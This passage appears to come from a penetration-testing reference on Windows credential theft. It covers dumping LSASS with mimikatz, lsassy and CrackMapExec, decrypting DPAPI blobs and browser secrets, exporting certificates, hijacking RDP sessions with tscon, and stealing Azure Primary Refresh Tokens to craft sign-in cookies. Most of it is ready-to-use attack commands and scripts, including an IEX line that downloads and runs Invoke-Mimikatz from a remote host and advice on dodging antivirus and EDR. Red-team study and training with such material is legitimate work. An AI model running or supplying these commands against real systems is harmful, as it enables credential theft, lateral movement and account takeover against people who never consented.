# Then mimikatz or pypykatz  can be used to extract the credentials from the dump.
python3 -m pypykatz lsa minidump <DUMP_FILE>


Mimikatz can be used to extract the credentials (cleartext passwords, LM / NTLM hashes, Kerberos tickets from, etc.) from LSASS.

The commands below may be used as a one-liner in the form of mimikatz.exe "<COMMAND1>" "<COMMAND2>" "exit".

mimikatz can be instructed to load the specified LSASS dump file and to execute the specified commands to extract credentials from the loaded LSASS dump in place of the current host LSASS process:

mimikatz # sekurlsa::minidump <LSASS_FILE>
# Logs further mimikatz output to the specified file.
mimikatz # log <LOG_FILE>

# If necessary, elevates privileges to "NT AUTHORITY\SYSTEM".
mimikatz # token::elevate

# If necessary, acquires and enables the "SeDebugPrivilege" privilege.
mimikatz # privilege::debug

# Retrieves credentials (cleartext passwords and NTLM hashes) from the msv, tspkg, wdigest, kerberos, ssp and credman providers.
mimikatz # sekurlsa::logonpasswords

# Retrieves the Kerberos tickets, both TGTs and service tickets, from all active sessions.
mimikatz # sekurlsa::tickets

# Dumps credentials on Domain Controllers.
mimikatz # lsadump::lsa /inject
mimikatz # lsadump::lsa /inject /user:<krbtgt | USERNAME>

Additionally, the Invoke-Mimikatz.ps1 PowerShell script can be injected into memory to use mimikatz on the targeted host with out uploading a mimikatz binary on disk. However, as of 2020, this approach is flagged by most Anti-Virus solutions.

# If the compromised host can not access internet, Invoke-Mimikatz.ps1 should be hosted on a local website on a attacking machine.
(New-Object System.Net.WebClient).Proxy.Credentials =  [System.Net.CredentialCache]::DefaultNetworkCredentials
IEX (New-Object Net.WebClient).DownloadString(''); Invoke-Mimikatz -DumpCreds;


The Python utility and library lsassy can be used to remotely dump the LSASS processes, and extract credentials, on one or multiple hosts in a distributed manner. Lsassy tries to dump the LSASS process of the specified hosts, and if successful, parses the LSASS dumps directly on the remote hosts.

lsassy implements three techniques, explicated above, to dump the LSASS process: using the Windows built-in comsvcs.dll DLL executed using rundll32.exe, by uploading and executing sysinternals' procdump.exe, and ultimately by uploading and executing dumpert.exe.

The pypykatz Python script, which is an implementation of some functionalities of Mimikatz in pure Python, is used to extract the credentials from the LSASS dump.

Standalone binaries of lsassy for Linux / Windows are available on the following OffensivePythonPipeline GitHub repository.

# As a standalone CLI utility
# TARGETS = IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets
lsassy [-d <DOMAIN>>] -u <USERNAME> -p <PASSWORD> --format pretty <TARGETS>
lsassy [-d <DOMAIN>] -u <USERNAME> -H <NTLM_HASH> --format pretty <TARGETS>

# Dumps using EDRSandBlast.
lsassy [-d <DOMAIN>>] -u <USERNAME> [-p <PASSWORD> | -H <NTLM_HASH>] -m edrsandblast --options edrsandblast_path=<EDRSandblast.exe_PATH>,RTCore64_path=<RTCore64.sys_PATH>,ntoskrnl_path=<NtoskrnlOffsets.csv_PATH> <TARGETS>

# As a Python library
from lsassy.core import Lsassy

lsassy = Lsassy(hostname="<HOSTNAME | IP>", username="<USERNAME>", domain="<DOMAIN>", password="<PASSWORD>")
credentials = lsassy.get_credentials()
for credential in credentials:

Additionally, lsassy can be used as a CrackMapExec module (installation and usage detailed below).

PowerSploit's Out-Minidump

The Out-Minidump.pS1 PowerShell script, part of PowerSploit suite, uses the MiniDumpWriteDump API, retrieved from System.Management.Automation.WindowsErrorReporting, to create a minidump of the specified process.

Obfuscated versions of Out-Minidump.pS1 may held good result against security products (antivirus and EDR solutions).

# Import-Module .\Out-Minidump.ps1

# Dumps lsass, or the process specified by <PROCESS_NAME>, memory in the current (or given) folder.
Get-Process <lsass | PROCESS_NAME> | Out-Minidump [-DumpFilePath <FOLDER>]
Out-Minidump -Process (Get-Process -Id <PID>)


The Python CrackMapExec tool offers two modules to dump and extract credentials from the LSASS process of remote host(s):

  • mimikatz, which uses the Invoke-Mimikatz.ps1 PowerShell script. CrackMapExec will temporally host the script using a Python web server and instruct the remote host(s) to download and inject in memory the script in order to execute Invoke-Mimikatz -DumpCreds with out creating a file on disk.

  • lsassy which leverages the lsassy Python library.

Note that as Invoke-Mimikatz.ps1 is being more and more detected by antivirus solutions, it is recommended to make use of the lsassy module.

Standalone binaries of CrackMapExec for Linux / Windows are available on the following OffensivePythonPipeline GitHub repository.

# It is recommended to use the released crackmapexec binaries from GitHub (a GitHub account being required to download the files):

# lsassy module
crackmapexec smb <TARGETS> -M lsassy (-d <DOMAIN> | --local-auth) -u <USERNAME> (-p <PASSWORD | PASSWORDS_FILE> | -H <HASH>)

# Mimikatz module
crackmapexec smb <TARGETS> -M mimikatz (-d <DOMAIN> | --local-auth) -u <USERNAME> (-p <PASSWORD | PASSWORDS_FILE> | -H <HASH>)

Metasploit / meterpreter

The meterpreter extensions mimikatz and kiwi can be used to dump credentials through a meterpreter session without the need to write any file to the compromised host's disks. The kiwi extension replace the previous mimikatz extension with a much simpler interface command system and works on Windows XP SP3 and Windows 2003 SP1 all the way up to Windows 10 and Windows 2019.

On x64 host, make sure that the meterpreter session is running as a 64 bits process (using sysinfo), otherwise the meterpreter will attempt to load a 32 bits version of Mimikatz into memory, which will cause most features to be non-functional.

meterpreter> load kiwi
meterpreter> creds_all
meterpreter> lsa_dump_sam
meterpreter> lsa_dump_secrets
meterpreter> creds_kerberos / creds_msv / creds_ssp / creds_tspkg / creds_wdigest

# Older version
meterpreter> load mimikatz

meterpreter> mimikatz_command -f samdump::hashes
meterpreter> mimikatz_command -f sekurlsa::logonpasswords
meterpreter> kerberos / livessp / msv / ssp / tspkg / wdigest

Cobalt Strike

The Cobalt Strike beacon built-in function [beacon] -> Access -> Run Mimikatz will execute mimikatz sekurlsa::logonpasswords through a beacon.

The function output will be automatically parsed and the harvested credentials added to the Cobalt Strike credentials database: View -> Credentials.

DPAPI - Generic and third parties credentials

Windows exposes cryptographic functions through the Data Protection Application Programming Interface (DPAPI) API to allow third parties programs to locally store encrypted secrets. DPAPI notably provides the CryptProtectData and CryptUnprotectData functions to, respectively, encrypt and decrypt data. Leveraging the DPAPI, softwares can thus rely on the operating system to manage the cryptographic keys and to implement the cryptographic algorithms. Among others, the Google Chrome and Internet Explorer / Edge web browsers as well as the Windows Remote Desktop Protocol (RDP) utility and the Wireless Local Area Network (WLANSVC) service save credentials using the DPAPI.

Secrets originating from Microsoft products are generally stored by the Credential Manager in:

  • Credentials files, located in %SYSTEMDRIVE%\Users\<USERNAME>\AppData\Roaming\Microsoft\Credentials\ <GUID>.

  • Windows Vaults, such as the Windows Credentials vault (independent from Credentials files). Vaults are stored as a combination of vpol and vsch files in %SYSTEMDRIVE%\Users\<USERNAME>\AppData\Local\Microsoft \Vault\<GUID>.

Google Chrome saves by default credentials and secrets, such as cookies, in:

  • the Login Data SQLitev3 database, located in %SYSTEMDRIVE%\Users\<USERNAME>\AppData\Local\Google\Chrome\User Data\ Default\Login Data.

  • the Cookies file, located in %SYSTEMDRIVE%\Users\<USERNAME>\AppData\Local\Google\Chrome\User Data\ Default\Cookies.

The aforementioned files are only accessible to the specific user (owner of the files), the local Administrators group, and the Windows NT AUTHORITY\SYSTEM built-in account.

# Lists the Credentials files for each user, given the current security context.
Get-ChildItem -Force -Recurse -Path "C:\Users\*\AppData\Roaming\Microsoft\Credentials"

# Lists the Google Chrome credentials and cookies files, given the current security context.
Get-ChildItem -Force -Recurse -Path "C:\Users\*\AppData\Local\Google\Chrome\User Data\Default\Login Data"
Get-ChildItem -Force -Recurse -Path "C:\Users\*\AppData\Local\Google\Chrome\User Data\Default\Cookies"

# Lists the configured Windows Vaults and information about the vaults's stored credentials (notably username, originating application, target).
# Current user Windows Vault.
vaultcmd /list
# Lists the Windows Vault of each user, given the current security context.
Get-ChildItem -Force -Path "C:\Users\*\AppData\Local\Microsoft\Vault\*"

# Lists information about the specified Windows Vault.
# Default Windows Vaults: Windows Credentials (GUID: 77BC582B-F0A6-4E15-4E80-61736B6F3B29) and Web Credentials (GUID: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28).
vaultcmd /listcreds:"<VAULT_NAME | VAULT_GUID>" /all

# Lists the configured WiFi profiles, indicating if a security key is included
netsh wlan show profiles

Credentials are ultimately stored as CredentialBlob, encrypted using a DPAPI MasterKey. The DPAPI MasterKeys are stored as files, located in %SYSTEMDRIVE%\Users\<USERNAME>\AppData\Roaming\Microsoft\Protect\<USER_SID>\<GUID>.

The DPAPI MasterKeys are protected:

  • for domain users, using a combination of the user's SID and (current or previous) NTLM hash. A copy of the MasterKey is also protected using the DPAPI Domain Backup Key.

  • for local users, using a combination of the user's SID and (current or previous) SHA1 hash.

  • for the DPAPI machine key, stored in Local Security Authority (LSA) secrets (encrypted using a key in HKLM/Security/Policy/PolEKList).

Those properties imply that:

  • All domain users DPAPI MasterKeys can be retrieved, and stored credentials decrypted, if the DPAPI Domain Backup Key is compromised.

  • The NTLM hashes of local users can not be used to decrypt DPAPI MasterKeys as the plaintext password is required to compute the user password SHA1 hash.

# Lists the DPAPI MasterKeys files for each user, given the current security context.
Get-ChildItem -Force -Recurse -Path "C:\Users\*\AppData\Roaming\Microsoft\Protect\S-*"

mimikatz implements various DPAPI modules to decrypt DAPI CredentialBlob and operationally parse the resulting data in order to extract the saved credentials:

  • dpapi::blob: raw CredentialBlob with out parsing of the resulting data

  • dpapi::capi / dpapi::cng: Windows Cryptographic API (CAPI) / Cryptography API: Next Generation (CNG) containing the users' certificates public and private keys. CNG is the replacement of CAPI, starting from the Windows Server 2008 and Windows Vista operating system.

  • dpapi::cred: Windows Credentials files.

  • dpapi::vault: Windows Vaults directories.

  • dpapi::wifi: WiFi password saved by the WLANSVC service.

  • dpapi::wwan: mobile cellular network passwords for embedded module adapter saved by the WWANSVC service.

  • dpapi::chrome: credentials and cookies saved by Google Chrome.

  • dpapi::rdg: RDP files generated by the Remote Desktop Connection Manager (RDCman) whenever saving RDP credentials.

Depending on the attack scenario and satisfied prerequisite(s), DAPI CredentialBlob can be decrypted using mimikatz in a number of ways:


Running under the specific user security context (whom may not be privileged).

Leverages the DPAPI CryptUnprotectData function, implicitly using the specific user MasterKeys, to decrypt the specified DPAPI blob.

Decryption of the specified blob, with the according mimikatz module: mimikatz.exe "dpapi::<MODULE> /in:<BLOB_PATH> /unprotect" exit To simply retrieve a given masterkey, a MS-BKRP request to a Domain Controller can be used: mimikatz.exe "dpapi::masterkey /in:<MASTER_KEY_PATH> /rpc" exit

Privileged access (SeDebugPrivilege privilege) on the system while the specific user is logged in.

Extracts the cached DPAPI MasterKeys from memory to decrypt the specified DPAPI blob.

Identification of the required MasterKey (guidMasterKey): mimikatz# dpapi::<MODULE> /in:<BLOB_PATH> Extraction of all users MasterKeys in memory: mimikatz# privilege::debug mimikatz# sekurlsa::dpapi Decryption of the specified blob, with the according mimikatz module, using the required MasterKey: mimikatz# token::elevate mimikatz# dpapi::<MODULE> /in:<BLOB_PATH> /masterkey:<MASTER_KEY>

Privileged access on the system and knowledge of the specific user plaintext password.

Uses the user's plaintext password to decrypt the MasterKey in order to decrypt the specified DPAPI blob.

Identification of the required MasterKey (guidMasterKey): mimikatz# dpapi::<MODULE> /in:<BLOB_PATH> Decryption of the required MasterKey using the user plaintext password: mimikatz.exe "privilege::debug" "token::elevate" "dpapi::masterkey /in:<MASTER_KEY_PATH> /sid:<USER_SID> /password:<USER_PASSWORD> /protected" exit Decryption of the specified blob, with the according mimikatz module, using the required MasterKey: mimikatz# token::elevate mimikatz# dpapi::<MODULE> /in:<BLOB_PATH> /masterkey:<MASTER_KEY>

Knowledge of the specific user plaintext password.

Uses the user's plaintext password to start a process under the specific user security context in order to leverage the DPAPI CryptUnprotectData function to decrypt the specified DPAPI blob.

Refer to the Windows - Lateral movement note for TTP to locally or remotely start a process using the user's plaintext password. Running under the specific user security context, the first method can then be used.

Knowledge of the specific domain user NTLM hash and a network connection to a Domain Controller.

Uses the user's NTLM hash to replace the Logon Session in a process's Access Token, in order to access resources over the network using the provided user identity. Then leverages the Microsoft BackupKey Remote Protocol (MS-BKRP) MSRPC interface of a Domain Controller to request the decryption of the required DPAPI MasterKey (by design functionality, needed for password renewal and support of smart cards).

Identification of the required MasterKey (guidMasterKey): mimikatz# dpapi::<MODULE> /in:<BLOB_PATH> Refer to the Windows - Lateral movement note for TTP to locally or remotely start a process using the user's NTLM hash. Under the newly created process, decryption of the required MasterKey through a MS-BKRP request to a Domain Controller: mimikatz.exe "dpapi::masterkey /in:<MASTER_KEY_PATH> /rpc" exit Decryption of the specified blob, with the according mimikatz module, using the required MasterKey: mimikatz# token::elevate mimikatz# dpapi::<MODULE> /in:<BLOB_PATH> /masterkey:<MASTER_KEY>

Knowledge of the DPAPI Domain Backup Key.

Uses the DPAPI Domain Backup Key to decrypt the DPAPI MasterKeys of domain users in order to decrypt the specified DPAPI blob.

Identification of the required MasterKey (guidMasterKey): mimikatz# dpapi::<MODULE> /in:<BLOB_PATH> Decryption of the required MasterKey using the DPAPI Domain Backup Key: mimikatz.exe "privilege::debug" "token::elevate" "dpapi::masterkey /in:<MASTER_KEY_PATH> /pvk:<BACKUP_KEY_PRIVATE_KEY_FILE>" exit Decryption of the specified blob, with the according mimikatz module, using the required MasterKey: mimikatz# token::elevate mimikatz# dpapi::<MODULE> /in:<BLOB_PATH> /masterkey:<MASTER_KEY>

Certificates retrieval

Certificates installed on the local system can be retrieved either through the Windows Crypto APIs or directly by decrypting the certificate files on disk (encrypted using DPAPI).

Certificate export using Windows Crypto APIs

The Microsoft CryptoAPI (CAPI) or the more recent Cryptography API: Next Generation (CNG) Windows APIs interact with the certificate store and can be used to export locally installed certificates.

Certificates with exportable private key can simply be retrieved as password protected .pfx files through an interactive session using the certmgr.msc (for user certificates) or certlm.msc (for machine certificates) snap-ins. The snap-ins can be loaded using the Microsoft Management Console (MMC) built-in utility:

mmc.exe -> Add/Remove Snap-in (Ctrl + M) -> Selection of one or multiple chosen snap-in -> Certificates
  -> My User account / Computer Account
    -> Certificates -> Select the certificate store (such as Personal)
      -> Right click the certificate to export -> All Tasks -> Export...
        -> Check "Yes, export the private key"

The Export-PfxCertificate PowerShell cmdlet or the CertStealer C# utility may be used as well:

# Built-in PowerShell cmdlets.
# The certificate store can be either the local machine store or the current user store.
$certiticate_store = "CurrentUser\My\"
$certiticate_store = "LocalMachine\My\"

# Enumerates the certificates in the specified certificate store.
Get-ChildItem -Recurse Cert:\$certiticate_store | Format-List Thumbprint,Issuer,Subject,EnhancedKeyUsageList,HasPrivateKey,NotBefore,NotAfter

# Exports the specified certificate as a password protected pfx file.
$sstring = ConvertTo-SecureString "<PASSWORD>" -AsPlainText -Force
Export-PfxCertificate -Cert Cert:\$certiticate_store\<CERTIFICATE_THUMBPRINT> -FilePath <OUT_PFX_FILE> -Password $sstring

# Exports all the certificates in the specified store in a single output file. In order for the exports to work, all certficates must be exportable.
$sstring = ConvertTo-SecureString "<PASSWORD>" -AsPlainText -Force
Get-ChildItem -Path Cert:\$certiticate_store | Export-PfxCertificate -FilePath <OUT_PFX_FILE> -Password $sstring

# CertStealer C# utility.
# Enumerates all the certificates for the various local certificate stores.
CertStealer.exe --list

# Enumerates the certificates in the specified certificate store for either the current user or the local machine.
CertStealer.exe --name <user | local> --store <My | CA | <STORE_NAME>> --list

# Export the specified certificate.
CertStealer.exe --password <PASSWORD> --export [pfx] <CERTIFICATE_THUMBPRINT>

If a certificate private key is not exportable, the CAPI and CNG Crypto APIs can be patched using mimikatz to allow exportation of the certificate. While the CAPI API can be patched in the current process address space, patching the CNG API requires to access the LSASS's process memory (which requires elevated privileges and may be flagged as malicious behavior).

# Patches the CAPI API (current process address space).
mimikatz# crypto::capi

# Patches the CNG API (LSASS process address space).
mimikatz# crypto::cng

# Exports the local certificates in the specified certificate store for either the current user or the local machine.
mimikatz#  crypto::certificates /systemstore:<current_user | local_machine> [/store:my] /export

Certificate direct retrieval via DPAPI

Certificates of the different certificate stores are stored as Binary Large Object (BLOB), either as files on disk or entries in the registry. The users certificates are indeed stored as files and in the registry (HKEY_USERS / HKEY_CURRENT_USER hive) depending on the store, while the local machine certificates are only stored in the registry (HKEY_LOCAL_MACHINE hive).

The certificates information is stored under the following notable locations:




HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates HKEY_USERS\<USER_SID>\Software\Microsoft\SystemCertificates

Contains multiple stores for the current / given user.



HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates HKEY_USERS\<USER_SID>\Software\Microsoft\SystemCertificates

Similar as HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates but contains certificates deployed by group policy.



%APPDATA%\Microsoft\SystemCertificates\My\Certificates\ %SystemRoot%\Users\<USERNAME>\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates

Personal certificates (My store) for the current / given user.




Contains local machine certificate stores.




Similar to HKEY_LOCAL_MACHINE\Software\Microsoft\SystemCertificates but contains certificates deployed by group policy.




Contains information about the CA trusted by the local machine (with the trusted CA certificates being published in the Enterprise NTAuth store, locally cached version of the NtAuthCertificates domain object).

The certificate private keys are stored encrypted as DPAPI blobs under:

  • %APPDATA%\Microsoft\Crypto\RSA\<USER_SID>\ and %APPDATA%\Microsoft\Crypto\Keys\ for respectively CAPI and CNG keys associated with user certificates.

  • %SystemRoot%\ProgramData\Microsoft\Crypto\RSA\MachineKeys for machine certificates.

The private key DPAPI blobs must be decrypted with an user or machine DPAPI masterkey (identified by a GUID). The SharpDAPI C# project can be used to automate the process of enumerating the private keys, retrieving the associated DPAPI masterkey(s) (if prerequisites, detailed below, are satisfied), and exporting the certificates.

In order to retrieve the DPAPI masterkey for users private keys, SharpDAPI requires knowledge of either the user password or the Active Domain DPAPI Domain Backup Key. If only the user NTLM hash is known or if code execution is achieved under the security context of the targeted user (without knowledge of the user password), mimikatz can be used to retrieve DPAPI masterkey(s) (and the decryption / export can then be done using SharpDAPI).

Private keys associated with machine certificates can be retrieved simply through an elevated context. Indeed, the DPAPI machine key, required to decrypt machine private keys, is located in Local Security Authority (LSA) secrets and accessible to NT AUTHORITY\SYSTEM.

Refer to the DPAPI - Generic and third parties credentials section above for more information on DPAPI.

# Enumerates all users private keys (as accessible depending on the current privileges) and the DPAPI masterkeys needed for decryption.
.\SharpDPAPI.exe certificates /showall

# If executed in a privileged context, retrieves all the machine private keys (by first elevating to "NT AUTHORITY\SYSTEM" to retrieve the DPAPI machine key).
.\SharpDPAPI.exe certificates /machine /showall

# Uses the specified user password to decrypt the DPAPI masterkeys and then retrieve the private keys.
.\SharpDPAPI.exe certificates /password:<PASSWORD>

# Uses an user security context to retrieve a private key.
# First identify the GUID of the DPAPI masterkey needed to decrypt the private key.
.\SharpDPAPI.exe certificates /showall

# Retrieve the specific masterkey SHA1 using mimikatz ("sha1: <SHA1>" in mimikatz's output).
# <MASTER_KEY_PATH> example: C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Protect\<USER_SID>\<MASTERKEY_GUID>
mimikatz.exe "dpapi::masterkey /in:<MASTER_KEY_PATH> /rpc" exit

# Finally decrypt the private key using the retieved masterkey and export the certificate.
.\SharpDPAPI.exe certificates [/target:<PRIVATE_KEY_FILE_PATH>] "{<MASTERKEY_GUID>}:<MASTERKEY_SHA1>"

The certificates retrieved using SharpDAPI will be in the PEM format (with public and private keys) and must be converted in the PFX format, supported by Windows, to be further usable by some utilities (such as Rubeus to request TGT):

openssl pkcs12 -in <IN_PEM_FILE> -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out <OUT_PFX_FILE>

Automated Windows, generic and third parties credentials retrieval with LaZagne

LaZagne is a Python utility, available as a standalone binary, that attempt to retrieve the credentials possibly stored on a system by a number of third party softwares, such as web browsers, system administrator and developers utilities, etc. It will conduct the search for every user profiles and will retrieve the credentials stored by third parties software through different mediums (plaintext files, registry keys, local databases, etc.), decrypting the DPAPI encrypted blob using the MasterKeys extracted from memory. Additionally, LaZagne will retrieve credentials from the Windows MScache, SAM registry hive and LSASS process if executed with the necessary elevated privileges.

lazagne.exe all -oA -output <OUTPUT_FILE_PATH>


If an encrypted standard string of a PowerShell SecureString object is compromised, from a file for example, the SecureString can be directly re used:

# Neither the specified <DOMAIN> or <USERNAME> matter to retrieve the password (but do to directly reuse the PS credential object).
$user = "<DOMAIN>\<USERNAME>";

# Regular secure string.
$secure_str = "<SECURESTRING>" | ConvertTo-SecureString;

# If the secure string has been encrypted using an AES key.
# The AES <AES_KEY> should be specified in a bytes array (example for a AES 256 key: 149,78,229,162,205,32,191,57,155,208,27,225,129,85,69,233,157,77,207,49,67,238,46,181,182,80,171,236,170,103,59,182).
[Byte[]] $key = (<AES_KEY>)
$secure_str = $encrypted | ConvertTo-SecureString -Key $key

$creds = New-Object System.Management.Automation.PSCredential($user, $secure_str)

# The plaintext password stored in the secure string can then be retrieved.
$creds.GetNetworkCredential() | fl

The PowerShell credentials object can now be passed to cmdlets supporting it, such as Start-Process / Start-Job or Invoke-Command / Enter-PSSession.

Note that if the SecureString object was created using a plaintext password, instead of using a Key / SecureKey, the stored standard string can only be converted to a SecureString object by the account, local or domain joined, that created the SecureString initially. Otherwise, the following error message will be returned:

ConvertTo-SecureString : Key not valid for use in specified state.

RDP Session Hijacking

If Administrator / NT AUTHORITY\SYSTEM privileges could be obtained on a host, Remote Desktop Protocol (RDP) sessions of others users can be hijacked. This could be leveraged to access the host under the security context of the hijacked user, through a graphical explorer, with out knowing its password.

Note that:

  • Hijacking of disconnected sessions is possible.

  • Hijacking a session will unlock locked sessions (with out the need to provide credentials).

Retrieve the ID of the eventual RDP sessions present on the host:

query user

Create and start a service that will execute tscon to hijack the specified RDP session:

sc create sesshijack binpath= "cmd.exe /k tscon <SESSION_ID> /dest:<SESSION_NAME>"
sc start sesshijack

Network packet capture

The Windows netsh built-in utility can be used to the traffic of the local system. The network capture will be exported in the ETL format, which can be converted to pcap using, for example, Microsoft Message Analyzer.

# Captures the local network traffic, optionally to the specified IP.
netsh trace start capture=yes [tracefile=<OUTPUT_ETL>] [IPv4.Address=<IP>]

# Stops the network capture.
netsh trace stop

Primary Refresh Token for Azure-joined devices

The Primary Refresh Token (PRT) is a JWT token used on Azure AD joined or hybrid-joined devices to achieve single sign-on on Azure AD. The PRT is used to request refresh and access tokens to access Azure / AzureAD resources and has a validity period of 14 days.

When a PRT is issued, AzureAD also issues an encrypted session key to the device. This session key is used as the (required) Proof-of-Possession (POP) key for any token requests or PRT renewal (by signing tokens requests). The session key is encrypted using DPAPI, with a DPAPI MasterKey of the machine. Additionally, on devices with a TPM, the session key is also protected by the TPM and cannot be directly accessed. Instead a derived key can be retrieved through the TPM to conduct the token request process.

Note that the claims of the PRT will be given to any access tokens or refresh tokens obtained via the PRT. The PRT will notably contain the eventual MFA claim and the PRT-specific deviceID claim. As a result, tokens obtained via a PRT may satisfy Conditional Access policies based on device enrollment status and MFA.

If a device is disabled in AzureAD, the PRT associated with the device will no longer be usable to request tokens.

PRT / session key retrieval and PRT-cookie crafting with mimikatz

# Checks the enrollment state of the system.
#   AzureAdJoined : <YES | NO>
#   EnterpriseJoined : <YES | NO>
#   DomainJoined : <YES | NO>
dsregcmd.exe /status

# Checks whether a TPM is present and enabled.

# Extracts the PRT cached by the LSASS CloudAP authentication package.
# The PRT is stored under the "prt" field and the session key in the ProofOfPossessionKey.KeyValue field.
mimikatz > sekurlsa::cloudap

# Decrypts the session key using the DPAPI masterkey to retrieve a derived key.
# If mimikatz is executed directly on the host as "NT AUTHORITY\SYSTEM", the DPAPI masterkey can be automatically retrieved.
# Otherwise the masterkey can be retrieved from the LSASS dump using sekurlsa::dpapi and MUST then be specified with /masterkey:<MASTERKEY>.
mimikatz > token::elevate
mimikatz > dpapi::cloudapkd /keyvalue:<SESSION_KEY> /unprotect

mimikatz > sekurlsa::dpapi
mimikatz > dpapi::cloudapkd /keyvalue:<SESSION_KEY> /masterkey:<MASTERKEY> /unprotect

# If the device has a TPM, the session key will be protected by the TPM ("TPM protected (DPAPI)") and an additional step is required to retrieve a derived key.
# The following commands should only be executed on the target device if the session key is TPM-protected.
mimikatz > privilege::debug
mimikatz > token::elevate
mimikatz > dpapi::cloudapkd /keyvalue:<SESSION_KEY> /unprotect

# A PRT-cookie can be finally crafted using the PRT and the derived key (retrieved with /unprotect).
mimikatz > dpapi::cloudapkd /prt:<PRT> /derivedkey:<DERIVED_KEY>

Alternatively to the last mimikatz command, the following PowerShell code snippet, relying on the AADInternals module, can be used to generate a PRT-cookie from the PRT and clear-text session key:

# Source:

# Install-Module AADInternals

Import-Module AADInternals

# PRT and clear-text session key from mimikatz outputs (sekurlsa::cloudap for the PRT + dpapi::cloudapkd /unprotect for the session key).
$PRT_B64 = "<PRT_TOKEN>"
$SessionKey = "<SESSION_KEY>"

# Adds padding if necessary to the PRT.
while($PRT_B64.Length % 4) {$PRT_B64 += "="}

# Converts the PRT from Base 64.
$PRT = [text.encoding]::UTF8.GetString([convert]::FromBase64String($PRT_B64))

# Converts to byte array and base 64 encode the session key.
$SessionKey_B64 = [convert]::ToBase64String([byte[]] ($SessionKey -replace '..', '0x$&,' -split ',' -ne ''))

# Generate a new PRT-Cookie with nonce.
$prtToken = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SessionKey_B64 -GetNonce

Write-Host "PRT-cookie (for example for x-ms-RefreshTokenCredential): " $prtToken

$prtToken | Set-Clipboard

PRT-cookie request through the built-in browsercore.exe utility

As discovered by @_dirkjan and Lee Christensen, the built-in browsercore.exe utility is leveraged by the Microsoft Edge and Chrome (though a specific extension) webbrowsers to implement Azure SSO by generating a PRT-cookie using a PRT. Simply put, a nonce is given to the BrowserCore.exe process's stdin and a response containing a token can be retrieved from the process stdout.

The following code-snippet, adapted from AADInternals's Get-UserPRTToken can be used to retrieve a PRT-cookie using the current user security context and PRT.

# Retrieves the required nonce.
$response = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "" -Body "grant_type=srv_challenge"
$nonce = $response.Nonce

$request_body = @"

# Other possible location: "$($env:windir)\BrowserCore\browsercore.exe"
$browsercorepath = "$($env:ProgramFiles)\Windows Security\BrowserCore\browsercore.exe"

# Creates the BrowserCore process.
$p = New-Object System.Diagnostics.Process
$p.StartInfo.FileName = $browsercorepath
$p.StartInfo.UseShellExecute = $false
$p.StartInfo.RedirectStandardInput = $true
$p.StartInfo.RedirectStandardOutput = $true
$p.StartInfo.CreateNoWindow = $true

# Starts the process.
$stdin =  $p.StandardInput
$stdout = $p.StandardOutput

# Writes the input

# Retrieves the response.
while($null -ne $stdout -and !$stdout.EndOfStream) {
    $response += $stdout.ReadLine()

Write-Host "RESPONSE: $response"


Using the PRT-cookie

The PRT-cookie can be used in a number of ways, for instance to access the web portal or request access and refresh tokens for the AAD Graph API.

  • Access to the Azure web portal using Chrome:

    1. Access the Azure login page at

    2. Open the Developer tools and clear the current cookies: F12 -> Application -> Cookies -> Clear

    3. Add the PRT-cookie as x-ms-RefreshTokenCredential, with HttpOnly enabled.

    4. Access the Azure portal at

  • Access to Azure AD with the AzureAD PowerShell module, using AADInternals's Get-AADIntAccessTokenForAADGraph to get an access token:

    $prtToken = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SessionKey_B64 -GetNonce
    $accessToken = Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken [-SaveToCache]
    Write-Host "Access token for AAD Graph API: " $accessToken
    $accessToken | Set-Clipboard
    # AzureAD module's Connect-AzureAD cmdlet.
    Connect-AzureAD -TenantId "<AAD_TENANT_ID>" -AccountId "<ACCOUNT_ID>" -AadAccessToken "<$accessToken | ACCESS_TOKEN>"
    # AzureRT module's Connect-ARTAD cmdlet, that present the advantage of retrieving the TenantId and AccountId from the provided token.
    Connect-ARTAD -AccessToken "<$accessToken | ACCESS_TOKEN>"
  • Access to Azure with the Az PowerShell module, using AADInternals's Get-AADIntAccessTokenForAzureCoreManagement to get an access token:

    $prtToken = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SessionKey_B64 -GetNonce
    $accessToken = Get-AADIntAccessTokenForAzureCoreManagement -PRTToken $prtToken
    Write-Host "Access token for Azure Management API: " $accessToken
    $accessToken | Set-Clipboard
    # AzureRT module's Connect-ART cmdlet.
    Connect-ART -AccessToken "<$accessToken | ACCESS_TOKEN>"

Azure / Azure AD access tokens

The Az / AzureAD PowerShell module or the Az CLI utility can store access tokens (with a limited time validity) on disk:

  • Az module: %SystemDrive%:\Users\<USERNAME>\.Azure\AzureRmContext.json

  • Az CLI utility: %SystemDrive%:\Users\<USERNAME>\.Azure\


Last updated